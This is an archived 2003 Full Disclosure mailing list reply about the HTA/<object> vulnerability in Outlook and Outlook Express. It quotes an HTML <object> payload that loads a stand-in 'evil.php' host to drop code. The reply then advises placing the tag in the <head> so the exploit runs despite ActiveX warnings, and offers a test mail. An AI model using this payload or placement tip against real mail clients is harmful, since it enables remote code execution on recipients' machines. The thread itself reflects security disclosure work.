Full Disclosure mailing list archives

Re: HTA/<object> vulnerability

From: "morning_wood" <se_cur_ity () hotmail com>
Date: Wed, 10 Sep 2003 08:30:06 -0700

Has anyone has been able to confirm that the HTA/<object> tag vulnerability
is exploitable in Outlook and Outlook express?  The EEYE advisory states
that its possible but I haven't seen it work.  The following does not
work.

<div style.none><object data="http://server/evil.php";></object></div>


in my observance, at least OE, even if you get an ActiveX warning,
 the exploit still runs and executes the dropped code.
try placing the tag in the <head> tag </head>.

morning_wood 

note: if anyone wishes a test mail, let me know

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Current thread:

HTA/<object> vulnerability titus (Sep 10)
- RE: HTA/<object> vulnerability Richard M. Smith (Sep 10)
  - RE: HTA/<object> vulnerability Aditya (Sep 11)
    - RE: HTA/<object> vulnerability Richard M. Smith (Sep 11)
- Re: HTA/<object> vulnerability morning_wood (Sep 10)